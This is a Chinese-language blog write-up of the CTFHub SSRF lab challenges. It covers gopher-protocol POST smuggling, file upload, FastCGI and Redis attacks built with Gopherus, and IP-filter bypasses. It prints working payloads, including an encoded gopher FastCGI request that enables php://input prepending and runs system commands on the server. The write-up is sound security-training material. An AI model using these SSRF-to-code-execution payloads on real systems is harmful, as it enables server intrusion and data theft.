CTFHUB SSRF

阅读: 评论:0

CTFHUB SSRF

CTFHUB SSRF

CTFHUB SSRF

  • ==通过协议绕过==
    • post
    • 上传文件
    • fastcgi
    • Redis协议
  • 通过改写url绕过
    • URL Bypass
    • 数字IP Bypass
    • 302跳转 Bypass
    • ==DNS重绑定 Bypass==

通过协议绕过

post

打开index.php F12看源码

<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){header("Location: /?url=_");exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

看到 header(“Location: /?url=_”); 重定向页面到GET到url的内容,根据提示我们要构造一个POST请求

127.0.0.1/flag.php F12看源码

key=92635644157d7ddc6cf24da0e781978e

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=92635644157d7ddc6cf24da0e781978e

这是传参包裹的形式
然后进行url三次编码即

第一次url编码后要手动在所有%0A前面加上%0D,再进行后续编码
content-length为post的大小,即key值的长度

127.0.0.1/index.php/?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D92635644157d7ddc6cf24da0e781978e
这是传入的url
彩色部分是个人的key 替换成你的后即可传参

并且我在本题中传参输错时出现了这样一段话

ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d} 这是彩蛋flag 与本题无关
但是彩蛋也有好几个
首页 公众号 题目入口 Writeup 工具 赛事 真题 投稿提交
这么多彩蛋提交处该往哪提交哪

上传文件

这次需要上传文件 但网页中没有提交按钮,修改源代码添加提交按钮

<input type="submit" name="submit">

提交文件,并抓包
将这个包按之前同样的方式urlencode然后整合进新包里

fastcgi

使用gopherus

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH70%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00F%04%00%3C%3Fphp%20system%28%27find%20/%20-name%20flag%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后将 /_ 后面的%01……按之前方法编码再加上前面的gopher://127.0.0.1:9000/_合并就是payload
得出flag所在位置
然后再用gopherus 将command换为cat flag所在目录
注意:这里有两个带flag的 应该cat那个文件名后带一串数字的

Redis协议

同样使用gopherus
按照之前方式将gopher编码
然后蚁剑连
![在这里插入图片描述](.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQ07lpKnni7w=,size_20,color_FFFFFF,t_70,g_se,x_16

通过改写url绕过

URL Bypass

url must startwith “”

数字IP Bypass

127.0.0.1可以转换为:
十六进制 = 0x7F000001
十进制 = 2130706433
可用ping来验证
然后如此拼接

302跳转 Bypass

F12看index.php代码(file:///方式)

<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {header("Location: /?url=_");exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

只过滤了数字部分数字 可用localhost绕过 进制绕过仍可

DNS重绑定 Bypass

开启后有教学
通过DNS rebinding.将两域名绑定

本文发布于:2024-01-28 08:39:03,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/17064023516170.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:CTFHUB   SSRF
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23